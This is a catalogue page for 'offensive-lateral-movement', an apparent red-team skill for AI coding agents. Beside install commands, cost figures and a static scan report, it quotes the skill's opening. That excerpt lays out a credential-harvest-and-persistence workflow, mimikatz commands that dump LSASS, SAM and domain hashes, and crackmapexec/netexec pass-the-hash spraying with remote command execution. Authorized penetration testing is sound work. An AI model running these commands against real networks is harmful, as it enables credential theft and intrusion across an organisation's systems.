offensive-lateral-movement

offensive-lateral-movement is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 208 tokens per session (4,687 once invoked), scanned B, a copy of offensive-lateral-movement, Apache-2.0.

A security testing guide for lateral movement, the process of using one compromised computer or account to reach others on a network. It covers stolen credentials, Windows remote-management methods, and NTLM relay attacks.

In plain words
What is it for?
Assessing pass-the-hash and pass-the-ticket risks, NTLM relays, credential coercion, and remote execution through WMI, WinRM, DCOM, PsExec, and related methods.
Why use it?
It helps red teams measure how far an attacker could move after an initial compromise and which network permissions or protocols enable that movement.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Assessing pass-the-hash and pass-the-ticket risks, NTLM relays, credential coercion, and remote execution through WMI, WinRM, DCOM, PsExec, and related methods.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/miosa-osa/osa/offensive-lateral-movement
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Miosa-osa/OSA --skill offensive-lateral-movement
Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-lateral-movement

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-lateral-movement/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-lateral-movement)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-lateral-movement"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-lateral-movement/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-lateral-movement

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-lateral-movement"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-lateral-movement.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 208 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,687 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 92% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00208 $0.04687
Opus 5.5 $0.00083 $0.01875
Sonnet 5.5 $0.00042 $0.00937
Haiku 4.5 $0.00021 $0.00469

Measured 1mo ago against content hash f7de8eea6898, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

offensive-lateral-movement scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

2. Harvest credentials from the current host (LSASS, SAM, cached creds).

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo ip route add 10.10.20.0/24 dev ligolo

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Origin

This is a copy

92% identical to offensive-lateral-movement — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

priv/skills/offensive-lateral-movement/SKILL.md · 491 lines

How it starts

The opening of the file, as written. The whole thing — 491 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.

Quick Workflow

  1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
  2. Harvest credentials from the current host (LSASS, SAM, cached creds).
  3. Test credential reuse across discovered hosts with crackmapexec/netexec.
  4. Select a movement technique based on available credentials and target services.
  5. Establish persistence on the new host before moving further.
  6. Set up tunneling if you need to reach segmented networks.
  7. Document each pivot for your engagement report.

Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv

Use crackmapexec (or netexec) to spray the hash across the network:

# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

Read the full file on GitHub · 491 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 491 lines · 208 tokens per session scan B f7de8eea6898

Subscribe to this mod's changes

offensive-lateral-movement is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 208 tokens to every session and 4,687 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it B with 2 findings (harvests environment variables, asks for root). It is 92% identical to offensive-lateral-movement, differing in 40 lines, and is treated as a copy.